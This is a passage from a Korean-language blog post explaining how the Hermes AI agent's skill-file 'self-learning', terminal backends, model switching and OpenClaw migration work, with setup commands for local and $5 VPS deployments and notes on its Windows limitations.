&lt;figure class=&quot;imageblock alignLeft&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1986&quot; data-origin-height=&quot;1066&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/xhGDH/dJMcafGcBh9/fZiYHQI6ObXfxsbIQob381/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/xhGDH/dJMcafGcBh9/fZiYHQI6ObXfxsbIQob381/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/xhGDH/dJMcafGcBh9/fZiYHQI6ObXfxsbIQob381/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FxhGDH%2FdJMcafGcBh9%2FfZiYHQI6ObXfxsbIQob381%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1986&quot; height=&quot;1066&quot; data-origin-width=&quot;1986&quot; data-origin-height=&quot;1066&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;

&lt;p data-ke-size=&quot;size16&quot;&gt;오해하기 쉬운 부분부터 짚고 넘어가자. Hermes의 &quot;자가학습&quot;은 LLM 모델 자체를 파인튜닝하는 게 아니다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;실제로는 &lt;b&gt;반복 작업 패턴을 마크다운 파일로 구조화해서 저장&lt;/b&gt;하는 방식이다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;작업 중 도구 호출이 5회 이상 발생하거나, 에러를 복구하거나, 사용자가 수정을 가하면 에이전트가 그 과정을 분석해서 재사용 가능한 스킬 파일을 &lt;code&gt;~/.hermes/skills/&lt;/code&gt;에 저장한다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;(출처: &lt;a style=&quot;color: #0066cc; text-decoration: none;&quot; href=&quot;https://mranand.substack.com/p/inside-hermes-agent-how-a-self-improving&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;Inside Hermes Agent - mranand.substack.com&lt;/a&gt;)&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;그래서 한 번만 쓰는 다양한 작업에서는 효과가 거의 없다. &lt;b&gt;같은 유형의 작업을 반복할수록&lt;/b&gt; 체감이 커진다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;커뮤니티 보고를 종합하면 대략 이렇다:&lt;/p&gt;
&lt;table style=&quot;width: 100%; border-collapse: collapse; margin: 15px 0; font-size: 15px;&quot; data-ke-align=&quot;alignLeft&quot;&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th style=&quot;background-color: #e8f4f8; border: 1px solid #b3d9ff; padding: 10px; text-align: left; font-weight: 600;&quot;&gt;구분&lt;/th&gt;
&lt;th style=&quot;background-color: #e8f4f8; border: 1px solid #b3d9ff; padding: 10px; text-align: left; font-weight: 600;&quot;&gt;학습 전 (처음 사용)&lt;/th&gt;
&lt;th style=&quot;background-color: #e8f4f8; border: 1px solid #b3d9ff; padding: 10px; text-align: left; font-weight: 600;&quot;&gt;학습 후 (10~20회 반복 후)&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;브리핑&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;매번 같은 설명 반복&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;설명 없이 바로 시작&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;실행 속도&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;기준선&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;2~3배 향상 보고&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;질문 빈도&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;이미 답한 것도 다시 질문&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;알고 있는 것은 묻지 않음&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;세션 연속성&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;매 세션 처음부터&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;과거 세션 검색 가능&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;위 비교는 커뮤니티 보고 종합이며, 실제 효과는 작업 유형과 모델에 따라 달라진다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;(출처: &lt;a style=&quot;color: #0066cc; text-decoration: none;&quot; href=&quot;https://lushbinary.com/blog/hermes-agent-developer-guide-setup-skills-self-improving-ai/&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;Lushbinary Developer Guide&lt;/a&gt;, &lt;a style=&quot;color: #0066cc; text-decoration: none;&quot; href=&quot;https://byteiota.com/hermes-agent-tutorial-build-self-improving-ai-agents-2026/&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;byteiota tutorial&lt;/a&gt;)&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 25px 0 15px; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;자가학습 5가지 메커니즘&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;1) FTS5 세션 검색 + LLM 요약&lt;/b&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;모든 CLI&amp;middot;메시징 세션이 &lt;code&gt;~/.hermes/state.db&lt;/code&gt;(SQLite)에 저장되며, FTS5 전문검색으로 과거 대화를 조회한다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;지난주에 X 배포 건 논의했나?&quot;와 같은 cross-session 질의에 응답할 수 있다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;(출처: &lt;a style=&quot;color: #0066cc; text-decoration: none;&quot; href=&quot;https://hermes-agent.nousresearch.com/docs/user-guide/sessions/&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;Hermes Sessions 문서&lt;/a&gt;)&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;단순히 대화를 저장하는 것과 검색까지 되는 것은 실사용에서 체감이 다르다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;2) 자율 스킬 생성&lt;/b&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;복잡한 작업(5회 이상 tool call) 완료 후 에이전트가 자율적으로 스킬 파일을 생성한다. 다음번에 비슷한 작업이 들어오면 학습된 스킬을 재사용한다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;3) 사용 중 스킬 자동 개선&lt;/b&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;기존 스킬을 실행하면서 더 나은 방법을 발견하면 스킬 자체를 갱신한다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;4) Honcho 기반 사용자 모델링&lt;/b&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;a style=&quot;color: #0066cc; text-decoration: none;&quot; href=&quot;https://honcho.dev&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;Honcho&lt;/a&gt;는 AI-native 메모리 백엔드인데, 대화를 통해 &quot;이 사용자는 어떤 사람인가&quot;를 추론해서 프로파일을 쌓아간다. v0.7.0에서 플러그인 시스템으로 전환됐다. 사용자 카드 조회(&lt;code&gt;honcho_profile&lt;/code&gt;), 시맨틱 검색(&lt;code&gt;honcho_search&lt;/code&gt;), LLM 합성 컨텍스트(&lt;code&gt;honcho_context&lt;/code&gt;), 사실 저장(&lt;code&gt;honcho_conclude&lt;/code&gt;) 4개 툴을 쓸 수 있다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;5) agentskills.io 개방형 표준 호환&lt;/b&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;앞서 설명한 스킬 표준. 다른 에이전트 플랫폼과 스킬을 공유할 수 있다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 25px 0 15px; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;터미널 백엔드 6종&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;에이전트가 명령을 실행하는 환경을 고를 수 있다. 로컬 머신에서 바로 돌릴 수도 있고, Docker로 격리할 수도 있고, 아예 서버리스에 맡길 수도 있다.&lt;/p&gt;
&lt;table style=&quot;width: 100%; border-collapse: collapse; margin: 15px 0; font-size: 15px;&quot; data-ke-align=&quot;alignLeft&quot;&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th style=&quot;background-color: #e8f4f8; border: 1px solid #b3d9ff; padding: 10px; text-align: left; font-weight: 600;&quot;&gt;백엔드&lt;/th&gt;
&lt;th style=&quot;background-color: #e8f4f8; border: 1px solid #b3d9ff; padding: 10px; text-align: left; font-weight: 600;&quot;&gt;특징&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;local&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;로컬 머신 직접 실행&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;Docker&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;컨테이너 격리 환경&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;SSH&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;원격 서버 연결&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;Daytona&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;서버리스 영속성&amp;middot;휴면 지원&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;Singularity&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;HPC/클러스터 환경&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;Modal&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;서버리스 영속성&amp;middot;휴면 지원&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;local/Docker는 개발용, SSH는 서버 운영, Daytona/Modal은 서버리스, Singularity는 연구 클러스터용이다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 25px 0 15px; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;모델 공급자 전환&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;code&gt;hermes model&lt;/code&gt; 한 번이면 코드 수정 없이 모델을 바꿀 수 있다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;Nous Portal, OpenRouter(200+ 모델), OpenAI, z.ai/GLM, Kimi/Moonshot, MiniMax, 커스텀 엔드포인트까지 지원한다. 오늘은 Claude로 쓰다가 내일은 로컬 모델로 바꾸는 게 가능하다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 25px 0 15px; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;ACP: 에디터 MCP 통합&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;VS Code, Zed, JetBrains에서 이미 쓰고 있는 MCP 서버가 있다면 Hermes에 그대로 연결할 수 있다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;에디터에서 설정한 MCP 도구들을 에이전트가 바로 가져다 쓰는 구조다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 25px 0 15px; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;OpenClaw 마이그레이션&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;OpenClaw 쓰고 있었다면 &lt;code&gt;hermes claw migrate&lt;/code&gt; 한 줄로 옮길 수 있다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;페르소나, 메모리, 스킬, API 키, 워크스페이스 설정을 자동으로 가져온다. 처음부터 다시 설정할 필요 없다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;ex) 이미 openclaw에 연결했던 supabase 설정이 살아있는지 확인해 보았다. 대부분 잘 마이그레이션 되어 있는 모습&lt;/p&gt;
&lt;figure class=&quot;imageblock alignLeft&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1928&quot; data-origin-height=&quot;1548&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/w99ax/dJMcaiiBFzr/c5FpaxWapuGz334LaUQDik/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/w99ax/dJMcaiiBFzr/c5FpaxWapuGz334LaUQDik/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/w99ax/dJMcaiiBFzr/c5FpaxWapuGz334LaUQDik/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2Fw99ax%2FdJMcaiiBFzr%2Fc5FpaxWapuGz334LaUQDik%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1928&quot; height=&quot;1548&quot; data-origin-width=&quot;1928&quot; data-origin-height=&quot;1548&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;

&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;!-- 섹션 7 --&gt;
&lt;h2 style=&quot;font-size: 24px; color: #1a3a52; margin: 35px 0 20px; padding-bottom: 10px; border-bottom: 3px solid #cce5ff; font-weight: bold;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;7. 사용 예시&lt;/b&gt;&lt;/h2&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 25px 0 15px; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;시나리오 A: 처음 5분 &amp;mdash; 터미널에서 바로 첫 작업 실행하기&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;Hermes를 처음 쓴다면 게이트웨이 설정 없이 터미널 CLI만으로 시작하는 게 가장 빠르다. API 키 하나면 충분하다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;(출처: &lt;a style=&quot;color: #0066cc; text-decoration: none;&quot; href=&quot;https://hermes-agent.nousresearch.com/docs/getting-started/quickstart/&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;Hermes Quickstart 공식 문서&lt;/a&gt;)&lt;/p&gt;
&lt;pre class=&quot;vala&quot; style=&quot;background: #1e1e1e; color: #d4d4d4; font-family: 'Fira Code', 'Consolas', monospace; padding: 15px; border-radius: 8px; overflow-x: auto;&quot; data-ke-language=&quot;bash&quot;&gt;&lt;code&gt;# 1. 설치 (완료 시 생략)
curl -fsSL https://raw.githubusercontent.com/NousResearch/hermes-agent/main/scripts/install.sh | bash
source ~/.zshrc   # 또는 source ~/.bashrc

# 2. 초기 설정 (처음 한 번만)
hermes setup
# &amp;rarr; LLM 공급자 선택: OpenAI / Anthropic / OpenRouter 중 택 1
# &amp;rarr; API 키 입력
# &amp;rarr; 게이트웨이: &quot;CLI (터미널)&quot;을 선택하면 메시지 앱 없이 바로 사용 가능

# 3. 에이전트 시작
hermes

# 4. 이제 자연어로 작업을 입력하면 된다
# 예시 입력:
# &amp;gt; &quot;현재 디렉토리의 파이썬 파일 목록을 보여줘&quot;
# &amp;gt; &quot;README.md를 읽고 핵심 내용을 한국어로 요약해줘&quot;
# &amp;gt; &quot;날씨 API를 호출하는 파이썬 코드 작성 후 바로 실행해줘&quot;&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;에이전트가 작업을 받아 터미널에서 직접 실행하고 결과를 반환한다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;처음에는 스킬 저장소가 비어 있지만, 같은 종류의 작업을 반복하면 에이전트가 패턴을 인식해서 스킬 파일을 자동으로 만든다. 다음번에 비슷한 요청이 들어오면 그 스킬을 재사용한다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 25px 0 15px; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;시나리오 B: 월 $5 클라우드 서버에서 개인 비서 에이전트 운영&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;VPS(Virtual Private Server)는 클라우드에서 빌려 쓰는 가상 서버다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;a style=&quot;color: #0066cc; text-decoration: none;&quot; href=&quot;https://www.digitalocean.com/&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;DigitalOcean&lt;/a&gt;, &lt;a style=&quot;color: #0066cc; text-decoration: none;&quot; href=&quot;https://www.vultr.com/&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;Vultr&lt;/a&gt;, &lt;a style=&quot;color: #0066cc; text-decoration: none;&quot; href=&quot;https://www.hetzner.com/&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;Hetzner&lt;/a&gt; 같은 서비스에서 월 $5(약 7,000원) 정도면 가장 저렴한 서버 한 대를 빌릴 수 있다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;내 PC를 24시간 켜둘 필요 없이, 이 서버에 Hermes를 설치해두면 Telegram/Discord로 언제든 에이전트에게 지시할 수 있다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;README도 &quot;$5 VPS, GPU 클러스터, 서버리스 인프라 어디서나 운용 가능&quot;이라고 명시하고 있다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;아래는 구성 단계 예시이다.&lt;/p&gt;
&lt;pre class=&quot;sql&quot; style=&quot;background: #1e1e1e; color: #d4d4d4; font-family: 'Fira Code', 'Consolas', monospace; padding: 15px; border-radius: 8px; overflow-x: auto;&quot; data-ke-language=&quot;bash&quot;&gt;&lt;code&gt;# 1. VPS에 Hermes 설치
ssh user@your-vps
curl -fsSL https://raw.githubusercontent.com/NousResearch/hermes-agent/main/scripts/install.sh | bash
source ~/.bashrc

# 2. 저비용 모델 설정 (OpenRouter 예시)
hermes model                  # &amp;rarr; OpenRouter 선택 후 API 키 입력
# 또는 직접 .env에 기입:
# echo &quot;OPENROUTER_API_KEY=sk-or-...&quot; &amp;gt;&amp;gt; ~/.hermes/.env

# 3. Telegram 게이트웨이 연결
hermes gateway                # &amp;rarr; Telegram 선택 후 Bot Token 입력

# 4. systemd 서비스로 상시 실행 (install.sh가 자동 설정)
sudo systemctl enable hermes-agent
sudo systemctl start hermes-agent

# 5. Telegram에서 메시지 전송 &amp;rarr; 에이전트가 서버에서 자율 실행 후 결과 반환&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;(출처: &lt;a style=&quot;color: #0066cc; text-decoration: none;&quot; href=&quot;https://github.com/NousResearch/hermes-agent/blob/main/README.md&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;GitHub README&lt;/a&gt; + &lt;a style=&quot;color: #0066cc; text-decoration: none;&quot; href=&quot;https://hermes-agent.nousresearch.com/docs/getting-started/quickstart/&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;Quickstart 문서&lt;/a&gt;)&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;cron 스케줄러를 쓰면 매일 오전 보고서 생성, 매시간 모니터링 같은 작업을 자동으로 돌릴 수 있다. &lt;code&gt;terminal.backend&lt;/code&gt;을 &lt;code&gt;docker&lt;/code&gt;로 바꾸면 에이전트가 컨테이너 안에서만 실행되니까, VPS 본체를 건드릴 걱정이 줄어든다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 25px 0 15px; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;시나리오 C: Gemma 4 + Hermes + OpenClaw 조합&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;a style=&quot;color: #0066cc; text-decoration: none;&quot; href=&quot;https://github.com/NousResearch/hermes-agent/blob/main/README.md&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;README&lt;/a&gt;에 Gemma 4와 Hermes, OpenClaw를 함께 사용하는 조합이 명시되어 있으며, 관련 &lt;a href=&quot;https://youtu.be/x3IG3elJvZk&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;YouTube 영상&lt;/a&gt;에서 시연된다&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;(영상 내 세부 내용은 직접 확인하지 않아 이 글에서 다루지 않는다).&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;OpenClaw에서 Hermes로 마이그레이션 후 Gemma 4를 로컬 또는 Nous Portal에서 모델로 선택하는 구성이 가능하다는 점은 README에서 확인된다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 25px 0 15px; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;시나리오 D: 언제 Hermes를 선택하고, 언제 다른 도구를 선택하는가&lt;/h3&gt;
&lt;table style=&quot;width: 100%; border-collapse: collapse; margin: 15px 0; font-size: 15px;&quot; data-ke-align=&quot;alignLeft&quot;&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th style=&quot;background-color: #e8f4f8; border: 1px solid #b3d9ff; padding: 10px; text-align: left; font-weight: 600;&quot;&gt;상황&lt;/th&gt;
&lt;th style=&quot;background-color: #e8f4f8; border: 1px solid #b3d9ff; padding: 10px; text-align: left; font-weight: 600;&quot;&gt;권장 선택&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;장기 사용자 메모리가 필요한 개인 에이전트&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;Hermes&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;여러 메시징 플랫폼에 동일 에이전트 연결&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;Hermes&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;자율 스킬 생성&amp;middot;재사용이 핵심 요구사항&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;Hermes&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;단순 1회성 자동화 스크립트&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;오버스펙 &amp;mdash; 경량 도구 권장&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;Windows 네이티브 환경 필수&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;Hermes 미지원 (WSL2로 우회 가능)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;기존 OpenClaw 기반 워크플로우&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;hermes claw migrate로 전환 검토&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;정리하면, Hermes는 반복 사용하면서 학습시키는 용도에 맞다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;한 번 쓰고 버릴 자동화 스크립트나 Windows 네이티브 환경이라면 다른 도구가 낫다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;!-- 섹션 8 --&gt;
&lt;h2 style=&quot;font-size: 24px; color: #1a3a52; margin: 35px 0 20px; padding-bottom: 10px; border-bottom: 3px solid #cce5ff; font-weight: bold;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;8. 제한사항 및 주의사항&lt;/b&gt;&lt;/h2&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 25px 0 15px; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;Windows 네이티브 미지원&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;Windows에서 install.sh를 실행하면 &quot;PowerShell 인스톨러를 쓰라&quot;는 안내와 함께 멈춘다. 공식 지원은 Linux, macOS, WSL2뿐이다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;WSL2에서는 잘 돈다. 다만 &lt;code&gt;/mnt/c/&lt;/code&gt; 같은 Windows 네이티브 파일시스템을 쓰면 IO가 느리니까, WSL2 내부 경로에서 작업하는 게 좋다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;figure class=&quot;imageblock alignLeft&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1958&quot; data-origin-height=&quot;1050&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/cDdWZ2/dJMcaiCTJTC/g61XO1OPBybx9SnjHIdst0/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/cDdWZ2/dJMcaiCTJTC/g61XO1OPBybx9SnjHIdst0/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/cDdWZ2/dJMcaiCTJTC/g61XO1OPBybx9SnjHIdst0/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FcDdWZ2%2FdJMcaiCTJTC%2Fg61XO1OPBybx9SnjHIdst0%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; 